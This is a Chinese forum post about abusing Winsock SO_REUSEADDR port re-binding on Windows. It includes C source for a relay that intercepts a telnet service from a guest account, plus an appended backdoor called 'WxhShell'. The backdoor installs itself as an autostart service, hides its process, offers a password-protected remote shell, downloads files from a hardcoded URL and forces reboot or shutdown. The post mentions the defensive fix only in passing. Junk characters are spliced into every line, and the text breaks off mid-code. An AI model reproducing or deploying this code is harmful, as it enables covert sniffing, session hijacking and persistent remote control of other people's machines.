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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M!siK2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M~Tuj1?  
{Y(zd[  
  saddr.sin_family = AF_INET; H*?t^  
<yV"6/l 0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v ,i%Q$  
V@.Ior}w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p#ZCvPE;uH  
VD;01"#'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ch*8B(:  
Co9^OF-k  
  这意味着什么?意味着可以进行如下的攻击: T= 80,  
@o].He@L<j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o"s)eh  
Y,qI@n<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]6k\)#%2  
+qN>.y!Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g.k"]lP  
)NW)R*m~D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /cUO$m o  
}`@vF|2L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &N$<e(K  
LRxZcxmy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 udK%>  
i'<[DjMDlm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B6+khuG(  
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  #include Uk[b|<U-`d  
  #include mX"oW_EK  
  #include \k7"=yx  
  #include    n1ZbRV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s2p\]|5  
  int main() u=*FI  
  { @(w@e\Bq  
  WORD wVersionRequested; )N{Pw$l_  
  DWORD ret; ~Y[r`]X`"m  
  WSADATA wsaData; EmWn%eMN  
  BOOL val; VcE:G#]5  
  SOCKADDR_IN saddr; fivw~z|[@  
  SOCKADDR_IN scaddr; *gb*LhgO  
  int err; 0(}t8lc  
  SOCKET s; F}yW/  
  SOCKET sc; ^]Y> [[  
  int caddsize; n: ^ d|@  
  HANDLE mt; =osk+uzzG  
  DWORD tid;   biD$qg  
  wVersionRequested = MAKEWORD( 2, 2 ); jxJ8(sr$  
  err = WSAStartup( wVersionRequested, &wsaData ); {_"<1C  
  if ( err != 0 ) { IxN9&xa  
  printf("error!WSAStartup failed!\n"); kOrZv,qFG[  
  return -1; GTPHVp&y  
  } .&iawz  
  saddr.sin_family = AF_INET; i$"F{|Z0  
   JPI3[.o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h|9L5  
dh\'<|\K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S"QWB`W2  
  saddr.sin_port = htons(23); [ZwjOi:)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VR8-&N  
  { y3Qsv  
  printf("error!socket failed!\n"); ij`w} V  
  return -1; QD&`^(X1p  
  } K=Z|/Kkh  
  val = TRUE; &{n.]]%O.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \A#41  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a 7 V-C  
  { :K,i\  
  printf("error!setsockopt failed!\n"); ;u ({\K  
  return -1; k/_ 59@)  
  } :uS\3toj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;%9|k U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3AtGy'NTp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N7zft  
yjX9oxhtL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ig' bw+WS  
  { `UyG_;  
  ret=GetLastError(); `:KY\  
  printf("error!bind failed!\n"); !sP {gi#=  
  return -1; K#d`Hyx  
  } `wEb<H  
  listen(s,2); S!CC }3zw  
  while(1) Af2( 5]  
  { :J@ gmY:C  
  caddsize = sizeof(scaddr); R4cM%l_#W  
  //接受连接请求 ]y '>=a|T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b94DJzL1z  
  if(sc!=INVALID_SOCKET) #&aqKV Y  
  { pofie$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L|xbR#v  
  if(mt==NULL) }@+0/W?\.  
  { :U%W%  
  printf("Thread Creat Failed!\n"); $k%2J9O  
  break; .@U@xRu7|  
  } X`>i& I]  
  } @o _}g !9=  
  CloseHandle(mt); n M*%o-  
  } =s2*H8]  
  closesocket(s); ,!y$qVg'\f  
  WSACleanup(); sIGMA$EK  
  return 0; xs bE TP?  
  }   a~}OZ&PG  
  DWORD WINAPI ClientThread(LPVOID lpParam) i%]EEVmN  
  { zP8lN(LA  
  SOCKET ss = (SOCKET)lpParam; mSF(q78?  
  SOCKET sc; 6ojo :-%Vf  
  unsigned char buf[4096]; ]72`};  
  SOCKADDR_IN saddr; Be2DN5)  
  long num; "(~^w=d:$  
  DWORD val; %_W)~Pv{+  
  DWORD ret; om z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DU/]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m@v\(rT.  
  saddr.sin_family = AF_INET; ~KX/ Ai  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h2]P]@nW;W  
  saddr.sin_port = htons(23); {@{']Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MaQqs=  
  { @9RM9zK.q  
  printf("error!socket failed!\n"); 6}Ci>_i4#  
  return -1; 9 -a0:bP  
  } R"t,xM  
  val = 100; H3=qe I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A[{yCn`tM  
  { u^I|T.w<r6  
  ret = GetLastError(); 8^1 Te m  
  return -1; YZ8>OwQz2  
  } KBc1{adDx@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >jLY"  
  { {ROVvs`  
  ret = GetLastError(); >tV{Pd1  
  return -1;  SRDp*  
  } 21l;\W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ie#Bkw'*  
  { MH\dC9%p  
  printf("error!socket connect failed!\n"); =>v#4zFd  
  closesocket(sc); j>"@,B g*  
  closesocket(ss); Fq<A  
  return -1; .?sx&2R2  
  } wJo}!{bN  
  while(1) $G@5qxcV  
  { m&,(Jla  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ul>3B4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }9OC,Y8?D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P}^W)@+3k  
  num = recv(ss,buf,4096,0); \X D6 pr@  
  if(num>0) E*K;H8}s  
  send(sc,buf,num,0); 6?J i7F  
  else if(num==0) +\ .Lp 5  
  break; &B1WtW  
  num = recv(sc,buf,4096,0); 9qzHS~l  
  if(num>0) <`r>h  
  send(ss,buf,num,0); ;[OH(!  
  else if(num==0) [sj osV  
  break; tg4pyW <  
  } 7;wd(8  
  closesocket(ss); v PG},m~-  
  closesocket(sc); A$0fKko  
  return 0 ; +',S]Edx  
  } Dp-z[]})1  
S;#'M![8  
+VOK%8,p  
========================================================== "J_9WUN  
M%P:n/j  
下边附上一个代码,,WXhSHELL {B*s{{[/'  
m~0/&RA  
========================================================== vV-`jsq20H  
Btn]}8K  
#include "stdafx.h" ]jp6k<KF  
(gWm,fI RZ  
#include <stdio.h> .|i.Cq8  
#include <string.h> kJT)r6  
#include <windows.h> 'e'cb>GnA  
#include <winsock2.h> P{ lB50  
#include <winsvc.h> Z o(rTCZX  
#include <urlmon.h> e8?jmN`2  
1?+St`+{B-  
#pragma comment (lib, "Ws2_32.lib") LBDjIpR6  
#pragma comment (lib, "urlmon.lib") k>si5'W  
7n<::k\lb  
#define MAX_USER   100 // 最大客户端连接数 H9Q&tl9  
#define BUF_SOCK   200 // sock buffer z[qDkL  
#define KEY_BUFF   255 // 输入 buffer oV78Hq6  
^>v+( z5R  
#define REBOOT     0   // 重启 V/9!K%y  
#define SHUTDOWN   1   // 关机 )R1<N  
DT&@^$?  
#define DEF_PORT   5000 // 监听端口 U26}gT)  
}a(dyr`S  
#define REG_LEN     16   // 注册表键长度 ?)d~cJ  
#define SVC_LEN     80   // NT服务名长度 R%[ c;i  
O k=hT|}Y  
// 从dll定义API lA8`l>I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vp@?^imL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iSs:oH3l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3eQ&F~S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q9s=~d7  
0{-q#/  
// wxhshell配置信息 _u QOHwn  
struct WSCFG { :& ."ttf=  
  int ws_port;         // 监听端口 or}[h09qA  
  char ws_passstr[REG_LEN]; // 口令 sdw(R#GE  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?hy&  
  char ws_regname[REG_LEN]; // 注册表键名 BR;D@R``}  
  char ws_svcname[REG_LEN]; // 服务名 xdkZdx>N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z*% q@]ym  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s|r3Gv|G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'E""amIJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XVZ   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4 "'~NvO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f9{Rb/l!BQ  
\z(gqkc 6  
}; S;`A{Mow  
oW6XF-yM  
// default Wxhshell configuration ^s"R$?;h  
struct WSCFG wscfg={DEF_PORT, "S?z@ i(K^  
    "xuhuanlingzhe", C!bUI8x z  
    1, 1/J=uH  
    "Wxhshell", ]N F[>uiW  
    "Wxhshell", < h *4Q  
            "WxhShell Service", o0KL5].  
    "Wrsky Windows CmdShell Service", Lt>IX")  
    "Please Input Your Password: ", JT_ `.(  
  1, 61'XgkacDS  
  "http://www.wrsky.com/wxhshell.exe", DEZve Qr=  
  "Wxhshell.exe" RPRBmb940  
    }; XlR@pr6tw  
oYH-wQj  
// 消息定义模块 '/s)%bc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |@4' <4t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #S"nF@   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sd|).;s}  
char *msg_ws_ext="\n\rExit."; {3aua:q  
char *msg_ws_end="\n\rQuit."; YNi.SXH  
char *msg_ws_boot="\n\rReboot..."; {R6ZKB  
char *msg_ws_poff="\n\rShutdown..."; 97!;.f-  
char *msg_ws_down="\n\rSave to "; 8bld3p"^  
I b5rqU\  
char *msg_ws_err="\n\rErr!"; j&qub_j"xX  
char *msg_ws_ok="\n\rOK!"; ZPYS$Ydy  
(SAs-  
char ExeFile[MAX_PATH]; Qzw;i8n{  
int nUser = 0; qlPT Ll  
HANDLE handles[MAX_USER]; EXqE~afm2  
int OsIsNt; f ) L  
|&i<bqLw:  
SERVICE_STATUS       serviceStatus; t"oeQ*d%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DSn_0D  
M9%$lCl   
// 函数声明 --BW9]FW  
int Install(void); 1bwOm hkS  
int Uninstall(void); X!EP$!  
int DownloadFile(char *sURL, SOCKET wsh); j?4qO]_Wx+  
int Boot(int flag); -zfR)(zG  
void HideProc(void); d8P^lv*rQW  
int GetOsVer(void); "VMz]ybi^  
int Wxhshell(SOCKET wsl); .(k|wX[Fu~  
void TalkWithClient(void *cs); |+D!= :x  
int CmdShell(SOCKET sock); Cq~dp/V  
int StartFromService(void); ] Zh%DQ  
int StartWxhshell(LPSTR lpCmdLine); \ @2R9,9E  
7s^'d,P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  _6vW F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !R`{ TbN  
|M;7>'YNC*  
// 数据结构和表定义 s6`?LZ0(z  
SERVICE_TABLE_ENTRY DispatchTable[] = =41?^1\  
{ Yrq~5)%  
{wscfg.ws_svcname, NTServiceMain}, [v!f<zSQK  
{NULL, NULL} $VOF Oc  
}; Y(Hs#Kn{  
SQ+Gvq%Q]  
// 自我安装 wi{3/  
int Install(void) Q S;f\'1bb  
{ 5'u<iSmBo  
  char svExeFile[MAX_PATH]; S)"Jf?  
  HKEY key; z},# ~L6$q  
  strcpy(svExeFile,ExeFile); YKK*ER0  
~WF\  
// 如果是win9x系统,修改注册表设为自启动 Xne1gms  
if(!OsIsNt) { "qy,*{~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Z}}(6T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 QJyZ  
  RegCloseKey(key); n|yO9:Uw<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R[+<^s}p/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9_h[bBx-'Q  
  RegCloseKey(key); +R75v)  
  return 0; i SQu#p@  
    } }"%N4(Kd  
  } _Y m2/3!  
} |CbikE}kL  
else { 0jWVp- y  
:7;@ZEe  
// 如果是NT以上系统,安装为系统服务 HTTC TR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {?7Uj  
if (schSCManager!=0) %E;'ln4h&,  
{ 9%obq/Lb  
  SC_HANDLE schService = CreateService \o3gKoL%  
  ( Q\0'lQJdy  
  schSCManager, ?:9"X$XR  
  wscfg.ws_svcname, +jgSV.N  
  wscfg.ws_svcdisp, #,'kXj  
  SERVICE_ALL_ACCESS, ]T) 'Hb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |u p  
  SERVICE_AUTO_START, 5 SQ 8}Or3  
  SERVICE_ERROR_NORMAL, l9"s>PU  
  svExeFile, 1Ai^cf:S  
  NULL, >y+B  
  NULL, X2"/%!65{  
  NULL, :[d9tm  
  NULL, bW+:C5'  
  NULL WTiD[u  
  ); KqP#6^ _  
  if (schService!=0) WI-1)1t  
  {  a!AA]  
  CloseServiceHandle(schService); E=!\z%4  
  CloseServiceHandle(schSCManager); ^ (zYzd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^$hH1H+V  
  strcat(svExeFile,wscfg.ws_svcname); Y`S vMkP)+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :G%61x&=Zc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z>5b;8  
  RegCloseKey(key); q5)O%l!  
  return 0; G*P#]eO  
    } ]3.;PWa:  
  } V[Ui/M!9Z  
  CloseServiceHandle(schSCManager); 'AH0ww_)n  
} 5C5sgR C  
} Fy-t T]Q9  
@i IRmQ  
return 1; P me^l%M  
} eV?2LtT#5  
: E )>\&  
// 自我卸载 ZX./P0  
int Uninstall(void) 338k?nHxv  
{ {[?(9u7R  
  HKEY key; _.Uh)-yR  
ZRU{ [4  
if(!OsIsNt) { QX'qyojxN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (V67`Z )  
  RegDeleteValue(key,wscfg.ws_regname); IKilr'  
  RegCloseKey(key); P:MT*ra*,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % ^1V4  
  RegDeleteValue(key,wscfg.ws_regname); mb^~qeRQ  
  RegCloseKey(key); hy"\RW  
  return 0; aE$[5 2  
  } aQ\$A`?  
} R)s:rJQ=p  
} jkF^-Up.  
else { Wf>R&o6tr  
t)$:0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OU $#5  
if (schSCManager!=0) aNspMJ  
{ A0 C,tVd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <FkFs{(t  
  if (schService!=0) ;RPx^X~  
  { y(yHt= r  
  if(DeleteService(schService)!=0) { v\%HPMlh  
  CloseServiceHandle(schService); -3Z,EaG^  
  CloseServiceHandle(schSCManager); ~ =2PU$u  
  return 0; m'=Crei  
  } R=2FNP  
  CloseServiceHandle(schService); ,Ae6/D$h/  
  } #r~# I}U  
  CloseServiceHandle(schSCManager); r1{@Ucw2  
} u.m[u)HQ  
} +.b,AqJ/  
6wjw^m0  
return 1; 9x9T<cx  
} !")tU+:  
w4{<n /"  
// 从指定url下载文件 x}I+Iggi  
int DownloadFile(char *sURL, SOCKET wsh) :zke %Yx  
{ qv KG-|j  
  HRESULT hr; CXx*_@}MU  
char seps[]= "/"; |a`Sc %  
char *token; !6O(-S2A  
char *file; ep)n_!$OH"  
char myURL[MAX_PATH]; bSi%2Onj  
char myFILE[MAX_PATH]; ' ;FnIZ  
h# o6K#  
strcpy(myURL,sURL); Vl=l?A8  
  token=strtok(myURL,seps); -4IE]'##  
  while(token!=NULL) e>7>j@(K]  
  { n&qg;TT  
    file=token; 3-qr)h  
  token=strtok(NULL,seps); &P}_bx  
  } BWv^ zi  
/1V xc 6  
GetCurrentDirectory(MAX_PATH,myFILE); yT"Eq"7/Y#  
strcat(myFILE, "\\"); iDz++VNV  
strcat(myFILE, file); l<LP&  
  send(wsh,myFILE,strlen(myFILE),0); kY|utoAP  
send(wsh,"...",3,0); bL+_j}{:N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gw3K+P  
  if(hr==S_OK) r,1!?s^L  
return 0; +-U- D?-  
else $m{:C;UH  
return 1; Q4!_>YZ  
j<99FW"@e  
} .B]MpmpK  
vkx7paY_  
// 系统电源模块 ~Z?TFg  
int Boot(int flag) t~EPn.  
{ Vvn2 Ep  
  HANDLE hToken; HV!m8k=6  
  TOKEN_PRIVILEGES tkp; m '|b GV  
FxtQXu-g  
  if(OsIsNt) { r6MMCJ|G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V6&!9b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2G67NC?+  
    tkp.PrivilegeCount = 1; U9:zVy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o WrKM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n.`($yR_  
if(flag==REBOOT) { J6s`'gFns  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \FbvHr,  
  return 0; nQX:T;WL@  
} * 8yAG]z  
else { 6 Z6'}BDP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pMx*F@&nU  
  return 0; (cAIvgI  
} M=.n7RY-  
  } xd q?/^E  
  else { /7nb,!~~l  
if(flag==REBOOT) { szZr4y<8|1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H1pO!>M  
  return 0; [fya)}  
} 6y%qVx#!  
else { zUkgG61  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "/*\1v9  
  return 0; KQaxvU)L  
} -LoZs ru  
} p*R;hU  
=r?hg GWe  
return 1; ??-[eB.  
} -[4T  
(^8Y|:Tz  
// win9x进程隐藏模块 _wbF>z  
void HideProc(void) u<7/0;D#+  
{ ?K$(817  
~NrG` D}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -j# 2}[J7  
  if ( hKernel != NULL ) j\[dx^\=  
  { :}L[sl\R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Sxt"B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  acajHs  
    FreeLibrary(hKernel); ?(' wn<  
  } a+[KI  
:KSV4>X[%a  
return; )#0O>F~  
} aD<A.Lhy  
|sJ[0z  
// 获取操作系统版本 qTRsZz@  
int GetOsVer(void) Maha$n*  
{ tVYF{3BhA  
  OSVERSIONINFO winfo; Dzpq_F!;V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s [RAHU  
  GetVersionEx(&winfo); .9/ hHCp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rT=rrvV3g  
  return 1; j"t(0 m  
  else |{z:IQLv  
  return 0; .wEd"A&j  
} CmP9Q2  
aq>kTaz  
// 客户端句柄模块 J|W<;  
int Wxhshell(SOCKET wsl) !j8FIY'[  
{ EKYY6S2  
  SOCKET wsh; afCW(zH p  
  struct sockaddr_in client; \#8D>i?m  
  DWORD myID; euK5pA>L  
e[{0)y>=  
  while(nUser<MAX_USER) >2Y=*K,:  
{ paA(C|%{  
  int nSize=sizeof(client); KaLzg5is  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hc;[Cs0  
  if(wsh==INVALID_SOCKET) return 1; AmUr.ofu  
3<e=g)F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nQF(vTDN  
if(handles[nUser]==0) iOf<$f  
  closesocket(wsh); pE3?"YO  
else 3p$?,0ELH  
  nUser++; : p1u(hflS  
  } %HhBt5w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D5gFXEeh  
+WZX.D  
  return 0; CYf$nYR  
} Gf%~{@7=u  
6lZ3tdyNo  
// 关闭 socket c^5~QGuQ  
void CloseIt(SOCKET wsh) 4V"E8rUL(  
{ lwR<(u31e  
closesocket(wsh); [DYQ"A= )d  
nUser--; W Tcw4  
ExitThread(0); SjK  
} 8:q1~`?5"b  
K$z2YJ%  
// 客户端请求句柄 Qry@ s5  
void TalkWithClient(void *cs) b3P+H r  
{ p0]=QH  
pj8=wch  
  SOCKET wsh=(SOCKET)cs; 1wii8B6  
  char pwd[SVC_LEN]; ~kV/!=  
  char cmd[KEY_BUFF]; ynp8r f  
char chr[1]; \wmN  
int i,j; }czrj%6  
pP1|&`}ux  
  while (nUser < MAX_USER) { gZVc 5u<  
MnmVl"(/  
if(wscfg.ws_passstr) { {aZ0;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oz.HH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g/4[N{Xf  
  //ZeroMemory(pwd,KEY_BUFF); 2bz2KB5>  
      i=0; V(}:=eK  
  while(i<SVC_LEN) { g%o(+d  
Xa[.3=bV?  
  // 设置超时 x exaQuK  
  fd_set FdRead; ,.S~ Y  
  struct timeval TimeOut; $Ph|e)p  
  FD_ZERO(&FdRead); [\]50=&  
  FD_SET(wsh,&FdRead); "2!&5s,1p  
  TimeOut.tv_sec=8; .C%<P"=J4h  
  TimeOut.tv_usec=0; `&qL(66  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #x@$ lc=k3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VCYwzB  
4>YR{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F k7?xc  
  pwd=chr[0]; 0J*??g-n  
  if(chr[0]==0xd || chr[0]==0xa) { 8H[<X_/ke  
  pwd=0; #Bze,?@  
  break; _IMW {  
  } ; T\%|O=Ke  
  i++; AhN4mc@  
    } H.P_]3f  
?JbilK}a  
  // 如果是非法用户,关闭 socket  l03B=$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rE7G{WII  
} ]Ee?6]bN  
h#I>M`|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s3N'02G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8bGd} (  
/A\8 mL8  
while(1) { R>|{N9  
c?Y*Y   
  ZeroMemory(cmd,KEY_BUFF); F~ty!(c  
qw301]y  
      // 自动支持客户端 telnet标准   Vsr.=Nd=  
  j=0; D_2:k'4  
  while(j<KEY_BUFF) { +.8 \p5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j a[Et/r  
  cmd[j]=chr[0]; yZ7&b&2nLn  
  if(chr[0]==0xa || chr[0]==0xd) { 1dY}\Sp  
  cmd[j]=0; krxo"WgD  
  break; sfH_5 #w  
  } YpHg&|Fr  
  j++; ]OhiYU4  
    } 7O2/z:$f  
&;6`)M{*}  
  // 下载文件 nbp=PzZy  
  if(strstr(cmd,"http://")) { a~`eQ_N D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;<Sd~M4f  
  if(DownloadFile(cmd,wsh)) Ufj`euY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hF?1y`20  
  else o#)C^xlQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *-WpZGh  
  } QhFV xCA  
  else { h f)?1z4  
yF:1( 4  
    switch(cmd[0]) { T~?Ff|qFC  
  Rh2+=N<X  
  // 帮助 G5_=H,Vmd  
  case '?': { A|[?#S((]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BR_1MG'{)$  
    break; iXkF1r]i  
  } iU918!!N   
  // 安装 ]EbM9Fo-U  
  case 'i': { w(Ovr`o?9t  
    if(Install()) ?,Xw[pR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KkyVSoD\  
    else B IEO,W|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/<L Ag  
    break; %Xg4b6<9  
    } ;;Y! ^^g  
  // 卸载 \w>y`\6mX  
  case 'r': { 7"D", 1h  
    if(Uninstall()) BVQqY$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ye |Y  
    else /62!cp/F/D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ny7S  
    break; 8nqG<!,q  
    } (/YHk`v2  
  // 显示 wxhshell 所在路径 g =hg%gRy"  
  case 'p': { &B;~  
    char svExeFile[MAX_PATH]; $Wol?)z  
    strcpy(svExeFile,"\n\r"); +E+p"7  
      strcat(svExeFile,ExeFile);  dFc':|  
        send(wsh,svExeFile,strlen(svExeFile),0); Wi<m{.%\E  
    break; ]c*4J\s  
    } >uB?rGcM  
  // 重启 C =xa5Y  
  case 'b': { iyE7V_O T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S?LQu  
    if(Boot(REBOOT)) r<EY]f^`u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); := V[7n])  
    else { bWS&Yk(  
    closesocket(wsh); U>SShpmZA  
    ExitThread(0); T<>,lQs(a  
    } ;*J  
    break; 6LhTBV  
    } 5r0YA IJ  
  // 关机 Bw yx c  
  case 'd': { p ll)Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d(K +);!  
    if(Boot(SHUTDOWN)) =~gvZV-<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6u%&<")4HP  
